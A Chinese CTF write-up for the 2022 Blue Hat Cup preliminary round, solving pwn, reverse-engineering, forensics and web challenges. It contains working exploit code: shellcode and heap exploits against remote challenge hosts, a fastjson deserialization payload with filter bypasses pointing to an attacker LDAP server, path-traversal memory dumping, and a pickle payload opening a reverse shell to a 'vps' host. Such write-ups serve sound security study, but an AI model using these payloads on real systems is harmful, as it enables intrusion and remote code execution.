奇安信攻防社区-2022蓝帽杯初赛WriteUp

2022蓝帽杯初赛WriteUp

记录一下团队蓝帽比赛的wp以及赛后对题目的复现及思考

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/07/attach-5887ce7accbe87ac53e432c6e148cf65b8f3d5e7.png)

0x01 Pwn
========

1.1 EscapeShellcode
-------------------

和 NahamcomCTF 2022 的 stackless 很像，参考

<https://roderickchan.github.io/2022/04/30/nahamconCTF-pwn/#nahamconCTF-stackless>

修改后完成利用。

### 思路

1. 通过 rip 寻址确定大概的范围
2. 遍历得到可读段（flag大概的位置）
3. 输出 flag

### Exp

```python
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
    glibc_dir = '~/Exps/Glibc/glibc-2.27/'
    gdbscript = 'directory %smalloc/\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio/\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p, gdbscript)
    time.sleep(1)

elf = ELF('./escape_shellcode')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./escape_shellcode')
# debug(0x1367)
p = remote('39.107.124.203',20890)

shellcode = """
mov edi, 1
lea rsi, [rip-0x300000]
and rsi, 0xfffffffff0000000
mov edx, 0x30
L1:
add rsi, 0x1000
mov eax, 1
syscall
test eax, eax
jng L1
xor edi, edi
mov edx, 1
L2:
add rsi, 0x1000
xor eax, eax
syscall
test eax, eax
jng L2
mov rdx, 0x300
mov edi, 1
mov eax, 1
syscall
"""

se(asm(shellcode))
sleep(1)
sl('1')
p.interactive()
```

![image-20220709085606083](https://blog-1310088624.cos.ap-nanjing.myqcloud.com/blog/image-20220709085606083.png)

1.2 Bank
--------

菜单套菜单，但是第一个菜单只需要用到 Login。重点在第二个菜单，实现了 400 cost 以内的限制读，任意free，仅一次的任意写，以及一些堆块操作。

### 思路

1. 堆布局，Leak 出堆地址和 Libc
2. 任意 Free 掉含 `任意写地址` 的地址，分配回来写上 exit\_hook
3. 任意写 one\_gadget 进入 exit 完成 getshell

### exp

```python
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./pwn')
# debug(0x1040)
p = remote('39.106.156.74',26899)

def menu(c):
    sla('Click: ',str(c))

def login():
    menu('Login')
    sla('Card Numbers: ',str(123456))
    sla('Password: ',str(123456))

def get_money():
    menu('Put')
    sla('How Much? ',str(400))

def menu_t(c,m):
    menu('Transfer')
    sla('who? ',str(c))
    sla('How much? ',str(m))

# admin
def read_addr(offset):
    menu_t('admin',offset)

# ghost
def realloc(size):
    menu_t('ghost',11)
    sla('ghost: &amp;^%$#@!   :)\n',str(size))

# guest
def malloc(data):
    menu_t('guest',6)
    sla('data: ',str(data))

# hacker
def free(addr):
    menu_t('hacker',51)
    sla('hacker: Great!',str(addr))
# abyss
def write(addr):
    menu_t('abyss',0)
    sl(str(addr))

# 2.31 ?
login()
get_money()
realloc(0xc8)
malloc(p64(0)+p32(0x491))
malloc('prepare')
malloc('prepare')
realloc(0xd8)
malloc('u')
realloc(0xe8)
malloc('u')
realloc(0xf8)
malloc('u')
# realloc(0x100)
realloc(0x50)
realloc(0x100)
malloc('u')
realloc(0x50)
realloc(0x100)
realloc(0x8)

read_addr(39+4)
ru('I think ')
heap_leak = int(ru(' is useful.'),16)
heap_base = heap_leak - 0x10
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
free(heap_base+0x3a0)
# realloc(0x50)

read_addr(32)
ru('I think ')
libc_leak = int(ru(' is useful.'),16)
libc_base = libc_leak - 0x1ebbe0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
magic = libc.sym.setcontext + 61

free(heap_base+0x2a0)

malloc(p64(libc_base+0x1ed608))
write(libc_base+0xe6c7e)

p.interactive()
```

![image-20220709130708455](https://blog-1310088624.cos.ap-nanjing.myqcloud.com/blog/image-20220709130708455.png)

0x02 RE
=======

2.1 loader
----------

64位无壳，拖入ida加载。

![image-20220709183133750](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709183133750.png)

首先将一块区域设为可执行，之后通过call传入，继而实现重定位到该函数处执行。

![image-20220709183303539](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709183303539.png)

该处汇编是将地址(0x7FF7D5943049)入栈,之后 减9再加0x34000，可以直接单步调试跟进。

![image-20220709184218939](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709184218939.png)

之后的汇编则是一些内存数据的解密操作，需要找到修改后的代码入口点。

![image-20220709184424835](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709184424835.png)

因为程序有明文输出提示和scanf程序，可以结合这一点确定是否找到了真正的控制流。

![image-20220709184640334](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709184640334.png)

输入测试输入，单步到flag的check点

![image-20220709185055459](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709185055459.png)

check了flag的格式，长度为42位。

![image-20220709185537955](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709185537955.png)

flag内容为36位，调试知该程序将36位分成两组，18位一组，将18位字符转成对应的10进制形式。

![image-20220709190049258](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709190049258.png)

对应一个结构体，大小为24B，第三个参数为转换后的10进制数，上图是测试输入为flag{720575940379279361152921504606846976} ，其内容后18位为152921504606846976。

![image-20220709190348236](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709190348236.png)

之后是与内存中的72057594037927936和1152921504606846976比较大小，限定x的范围。

![image-20220709190528419](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709190528419.png)

通过调试观察结构体的值来判断进行何种运算，发现只有乘法和减法，最后的逻辑式子为 x^2 - 11\*y^2 = 9，完整的调试记录如下。

```python
c='flag{720575940379279361152921504606846976}'
print(hex(720575940379279361))
x=0x0A00000000000001
print(hex(152921504606846976))
y=0x21f494c589c0000

# @72057594037927936
d1=0x100000000000000
# @1152921504606846976
d2=0x1000000000000000

print(hex(1152921504606846976))

print(hex(720575940379279361*720575940379279361)) #乘法 前18*前18

print(hex(152921504606846976*152921504606846976))
print(hex(152921504606846976*152921504606846976*11)) #乘法 后18*后18 *11
print(hex(0x640000000000001400000000000001-0x318aa84b79cdeeb43fd5b000000000))

"""
x^2 - 11*y^2 = 9
x>72057594037927936
x<1152921504606846976
"""
```

之后便是在x的范围内求出对应的整数y，都为64bit的大整数。需要用到[一般PELL方程](https://www.beigui.xyz/2020/07/01/hufu/)求解,参考虎符这道题。

```python
x1=3
y1=0
def solve_pell(N, c,begin, most=10000):
    #solve(x ** 2 - N * y ** 2 == c)
    cf = continued_fraction(sqrt(N))
    for i in range(begin,most):
        denom = cf.denominator(i)
        numer = cf.numerator(i)
        if numer^2 - N * denom^ 2 == 1:
            x = numer*x1 + N *y1 *denom
            y = x1*denom + y1*numer
            if x>72057594037927936 and x<1152921504606846976:
                if x^2 - N*y^2 == c :
                    print(x,y) 
    return None, None,None
```

![image-20220709193922130](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709193922130.png)

求出来的解118936021352508390 和35860559716724409，判断是否长度为18，不足在最前面补0。flag{118936021352508390035860559716724409}

![image-20220709194230378](https://blog-1309321804.cos.ap-nanjing.myqcloud.com/blog/image-20220709194230378.png)

0x03 MISC
=========

3.1 domainhacker
----------------

关键在`tcp.stream eq 13`这个TCP流中，看返回结果应该是执行了RAR压缩，将参数拼接并base64解码即为命令执行内容，命令内容为：`cd /d "c:\\Windows\\Temp"&amp;rar.exe a -PSecretsPassw0rds 1.rar 1.txt`，拿到压缩包密码，binwalk直接跑流量文件跑出RAR文件，解压，拿到哈希

```php
* NTLM     : 416f89c3a5deb1d398a1a1fce93862a7
* SHA1     : 54896b6f5e60e9be2b46332b13d0e0f110d6518f
```

交NTLM

0x04 取证
=======

4.1 网站取证1
---------

D盾扫  
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/202207091818683.png)

4.2 网站取证2
---------

查看数据库配置文件中的`password`位置，跟进`my_encrypt()`函数，按照函数内容进行AES解密即可拿到明文内容

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/202207091810527.png)

4.3 网站取证3
---------

关键词money整个项目搜索，在`application/admin/controller/Channelorder.php`文件中的`$param['money'] = $this->encrypt($param['money']);`，跟进`encrypt`函数，参数中的`key`即为盐值

```php
function encrypt($data, $key = 'jyzg123456')
```

4.4 计算机取证1
----------

PasswareKitForensic直接扫描windows user的密码，密码为anxinqi

![](https://i.imgur.com/szfaxeY.png)

4.5 计算机取证2
----------

Volatility 的 cmdline 查看执行的程序，发现RAMCapture为制作镜像的进程，pid为2192

![](https://i.imgur.com/MDuVh5o.png)

4.6 计算机取证3
----------

取证大师可以直接提取BitLocker恢复秘钥

![](https://i.imgur.com/Fpe2XJr.png)

恢复秘钥:368346-029557-428142-651420-492261-552431-515438-338239  
用取证大师挂载G.E01磁盘，之后用该秘钥恢复。

![](https://i.imgur.com/IjjgkAO.png)

拿到如下文件，根据提示在office中，而这两个文件都是被加密过的，并且pass.txt是密码本，写脚本爆破即可。

```python
from comtypes.client import CreateObject
passw=[]
dic = open("G:\game _ all\蓝帽\计算机取证\pass.txt","r")
data=dic.readline().strip('\n');
while data:
    passw.append(data);
    data=dic.readline().strip('\n');
dic.close()
wps1 = CreateObject('Kwps.Application') #Word.Application
wps1.visible = 1
for i in passw:
    try:
        doc = wps1.Documents.Open(r'G:\从渗透看取证.pptx',PasswordDocument=i)
        print('success :%s'%i)
        break
    except:
        pass
else:
    print('not find')
success :%s 287fuweiuhfiute
#success :287fuweiuhfiute
```

![](https://i.imgur.com/Berob20.png)

flag在pptx中，docx中无有效内容。

4.7 计算机取证4
----------

发现可疑压缩文件

![](https://i.imgur.com/C1J238z.png)

爆破压缩包拿到密码991314

![](https://i.imgur.com/mhQ3gTB.png)

解压即可得到flag  
flag{1349934913913991394cacacacacacc}

4.8 手机取证1
---------

直接打开盘古石阅读器，搜索627604C2-C586-48C1-AA16-FF33C3022159.PNG ，导出图片后查看分辨率为360x360

![](https://i.imgur.com/wPUw1cv.png)

4.9 手机取证\_2
-----------

盘古石阅读器搜索姜总/单号

![](https://i.imgur.com/Q8v2GNL.png)

4.10 程序分析\_1
------------

jadx加载app，可疑查看到包名exec.azj.kny.d.c

![](https://i.imgur.com/IsEwMZZ.png)

4.11 程序分析\_2
------------

在AndroidManifest.xml可以找到程序入口点

![](https://i.imgur.com/FmRAW1F.png)

minmtta.hemjcbm.ahibyws.MainActivity

4.12 程序分析\_3
------------

服务器地址的密文，base64字符串，可疑在程序入口处直接看到。

![](https://i.imgur.com/OgZ7Q1q.png)  
aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6

0x05 Web
========

web一天白打工...不过还是记录一下吧

5.1 Ez\_gadget
--------------

题目内容：听说有一个快的json组件有危险，但是flag被我放在了root的flag.txt下诶，你能找到么？

jar包附件下载:<https://share.weiyun.com/v3yXxl87>

题目源码逻辑很简单,就是一个绕过后的fastjson反序列化

```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.spring;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.Objects;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JSONController {
    public JSONController() {
    }

@ResponseBody
    @RequestMapping({"/"})
    public String hello() {
        return "Your key is:" + secret.getKey();
    }

@ResponseBody
    @RequestMapping({"/json"})
    public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception {
        if (str != null &amp;&amp; Objects.hashCode(str) == secret.getKey().hashCode() &amp;&amp; !secret.getKey().equals(str)) {
            String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\x.*";
            Pattern p = Pattern.compile(pattern, 2);
            boolean StrMatch = p.matcher(input).matches();
            if (StrMatch) {
                return "Hacker get out!!!";
            }

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            JSON.parseObject(input);
        }

return "hello";
    }
}

```

首先要构造一个str满足`hashCode`相同但是字符不同

构造方法直接将第一个字符ascii码大小-1,第二个字符ascii码大小+31,以下为简易的构造脚本,原理可以看[Java 构建 HashCode 相同的字符串](https://blog.csdn.net/weixin_44245828/article/details/109853439)

```python
from urllib import parse

while 1:
    key=input("#")
    print(parse.quote(chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]))
```

拿到符合条件的`str`参数后,构造fastjson反序列化的`input`参数

<http://eci-2zeeu1iidjoq6vzyipkg.cloudeci1.ichunqiu.com:8888/json> 将str和input通过POST传输进行测试

```http
str=G`xnUP8l4U0Sv7uE
&amp;input= {
    "poc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.alibaba.fastjson.JSONReader",
        "reader": {
            "@type": "jdk.nashorn.api.scripting.URLReader",
            "url": "http://vps:9999"
        }
    }
}
```

使用`JSONReader`探测确认反序列化确实可用,然后使用fastjson 1.2.62(一幕环境fastjson版本)的黑名单绕过exp：

```php
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://VPS:port/Evil"}";
```

但是需要变一下,以绕过`jndi`,`rmi`,`ldap`,`\x`的过滤,可以使用unicode编码(其实也可以使用16进制\\x,但是这里`\x`被过滤了)

```http
str=xxxxxxxx&amp;input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"\u006c\u0064\u0061\u0070://VPS:port/Evil"}
```

此外对于远程资源加载的`Pattern.compile`匹配我们可以使用换行`%0a`完成绕过

```http
str=xxxxxxxx&amp;input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"%0aldap://VPS:port/Evil"}
```

结合使用工具`JNDIExploit`最终反弹shell拿到flag

```bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps -p 8080 -l 8089
```

详细操作可参考https://www.anquanke.com/post/id/232774

5.2 file\_session
-----------------

题目内容：这里可以下载“海量”的图片，不知道有没有你喜欢的图片。

这个题不知道为什么session中的data一直都没有被读取(也可能是某个点没注意到吧),赛后问了几个师傅都是说本地是可以打通的,但是到题目环境就没成功过,下面是我本地测试的POC构建过程.

根据题目提示可知有个/download路由可以任意文件读取,得到`/app/app.py`源码

```python
import base64
import os
import uuid

from flask import Flask, request, session, render_template

from pickle import _loads

SECRET_KEY = str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

# apt install python3.8

@app.route('/', methods=['GET'])
def index():
    return render_template("index.html")

@app.route('/download', methods=["GET", 'POST'])
def download():
    filename = request.args.get('file', "static/image/1.jpg")
    offset = request.args.get('offset', "0")
    length = request.args.get('length', "0")
    if offset == "0" and length == "0":
        return open(filename, "rb").read()
    else:
        offset, length = int(offset), int(length)
        f = open(filename, "rb")
        f.seek(offset)
        ret_data = f.read(length)
        return ret_data

@app.route('/filelist', methods=["GET"])
def filelist():
    return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"

@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
    if session.get('data'):
        data = _loads(base64.b64decode(session['data']))
        return data
    session["data"] = base64.b64encode(b"error")
    return 'admin pickle'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

```

内容不多,就两个点:

1. `/download`路由可以指定文件和偏移进行文件内容读取
2. `/admin_pickle_load`路由会反序列化session中的data数据

所以我们要伪造session,那么首先就要获取`SECRET_KEY`,这里用的是内存读取

解题步骤就是

1. 根据`/proc/self/maps`获取内存情况然后从`/proc/self/mem`读取指定偏移的内存数据
2. 从内存中取出被作为`SECRET_KEY`的UUID
3. 伪造session
4. 将反弹shell的反序列化数据加入到session的data中
5. 监听端口接收反弹的shell

下载内存数据到`./save`目录下:

dump.py

```python
import os,requests,re

def dowload(file,offset=0,length=0):
    if offset:
        res=requests.get(f"{url}download?file=../../../../..{file}&amp;offset={offset}&amp;length={length}")
    else:
        res = requests.get(f"{url}download?file=../../../../..{file}")
    text=res.text
    return text

os.system("rm -rf ./save;mkdir save")
url=input("url:#")
for i in dowload("/proc/self/maps").split("\n"):
    if ".so" in i or "lib" in i or"python3" in i or"dev" in i:
        continue
    t = re.match(r"[0-9-abcdef]*", i)
    location = t.group().split("-")
    try:
        start, end="0x"+location[0],"0x"+location[1]
    except:
        continue
    print("./save/"+start+"-"+end)
    save = open(
        "./save/"+start+"-"+end,"wb"
    )
    save.write(
        dowload(
            "/proc/self/mem",
            str(int(start,16)),
            str(int(end,16)-int(start,16))
        ).encode()
    )
    save.close()
```

对内存数据进行UUID正则匹配,获取全部UUID存放到`./keys`文件中:

grep.py

```python
import os
import re

os.system("rm keys")
dir=str(os.listdir('./save'))
dir=dir[1:-2:].replace("'","").replace(" ","").split(",")
print("Dir::=>",)
for i in dir:
    print(i)

print("Start"+"-"*100)

for f in dir:
    if f=="":
        continue
    print("Now is File::=>",f,"-"*50)
    lines=open("./save/"+f,"rb").readlines()
    for line in lines:

t=re.findall(
            rb"[0-9abcdef]{8}-[0-9abcdef]{4}-[0-9abcdef]{4}-[0-9abcdef]{4}-[0-9-abcdef]{12}",
            line
        )
        for i in t:
            print(i.decode())
            file = open("keys", "ab")
            if i not in open("keys","rb").read():
                file.write(i+b"\n")
            else:
                print(i.decode()+" Is Haven")
            file.close()

```

通过`./keys`逐个取出key然后结合工具[flask\_session\_cookie\_manager](https://github.com/noraj/flask-session-cookie-manager.git)生成伪造的session(里面有要反序列化的data数据)后全部存到sessions数组中,再逐个带着生成的session访问`/admin_pickle_load`进行反序列化(注意提前打开监听)

poc.py

```python
import base64
import os
import pickle
import requests

class test(object):
    def __reduce__(self):
        return (__import__('os').system, ("""
bash -c 'exec bash -i &amp;>/dev/tcp/vps/4444 <&amp;1'
        """,))

data=base64.b64encode(pickle.dumps(test())).decode()
os.system("rm sessions")
for key in open("keys","r").readlines():
    key=key.replace("\n","")
    cmd = """python3 flask_session_cookie_manager3.py encode -s '%s' -t '{"data":"%s"}' >> sessions"""%(key,data)
    print("key::=>",key)
    os.system(cmd)
sessions=open("./sessions","r").readlines()
url = input("url:#") + "admin_pickle_load"
for session in sessions:
    session=session.replace("\n","")
    # print(session)
    res=requests.get(url
                 ,cookies={"session":session}
                 )
    if res.text != "admin pickle":
        print("Suceess")
        print(res.text)
    else:
        print(res.text)
    print()
```

这里注意使用工具`flask_session_cookie_manager`伪造session的时候必须要和题目环境的python大版本相同(python2或python3,小版本可忽略),它们使用的脚本和生成的session是不一样的

按照下面顺序执行就能获得反弹的shell了:

窗口1:

```bash
nc -vnlp 4444
```

窗口2:

```bash
git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager
vi dump.py #写入dump.py文件
python3 dump.py
#输入URL为题目URL,端口后面记得加上/
vi grep.py  #写入grep.py文件
python3 grep.py
cat keys
vi poc.py   #写入poc.py文件
python3 poc.py
```

![image-20220710015524840](https://images-1306872001.cos.ap-nanjing.myqcloud.com/image-20220710015524840.png)

发表于 2022-07-13 09:47:49
阅读 ( 9527 )
分类：其他

2022蓝帽杯初赛WriteUp

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